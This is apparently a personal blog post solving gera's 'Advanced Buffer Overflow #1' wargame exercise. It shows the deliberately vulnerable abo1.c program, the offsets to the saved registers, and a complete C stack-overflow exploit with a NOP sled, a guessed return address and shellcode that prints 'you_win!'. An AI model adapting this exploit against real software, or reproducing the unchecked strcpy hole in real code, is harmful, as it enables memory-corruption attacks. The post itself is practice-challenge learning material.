Thursday, June 24, 2010

Advanced Buffer Overflow #1

/* abo1.c                                       *
* specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}


It took 268 bytes to overwrite the saved ebp on the stack and 272 bytes to overwrite the saved eip.



#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
        "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";

unsigned long get_sp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
        int i, offset = 0, bsize = 273;
        long addr, *addr_ptr;
        char *buf, *ptr;

        if (argc > 1)
                offset = atoi(argv[1]);

        buf = (char *)malloc(bsize);

        /* guess return address -- a bit educated */
        addr = get_sp() - offset;
        fprintf(stderr, "addr: 0x%x\n", addr);

        /* fill entire buf with return address */
        ptr = buf;
        addr_ptr = (long *)ptr;
        for (i = 0; i < bsize; i += 4)
                *(addr_ptr++) = addr;

        /* fill the first half of buf with NOPs */
        for (i = 0; i < (bsize/2); i++)
                buf[i] = '\x90';

        fprintf(stderr, "shellcode length: %d\n", strlen(shellcode));

        ptr = buf + bsize/2;
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[bsize-1] = '\0';

        fprintf(stderr, "buf length: %d\n", strlen(buf));

        printf("%s", buf);
}


One problem I haven't figured out yet is when I used a "you win!" shellcode, the space character (0x20) was corrupting the stack while it was being strcpy()ied.

"you win!" works fine in the assembly and character array versions, but when dumped in a buffer of nops, shellcode, and return addresses it doesn't play nice.

Changing it to "you_win!" works fine, as seen above.

No comments:

Post a Comment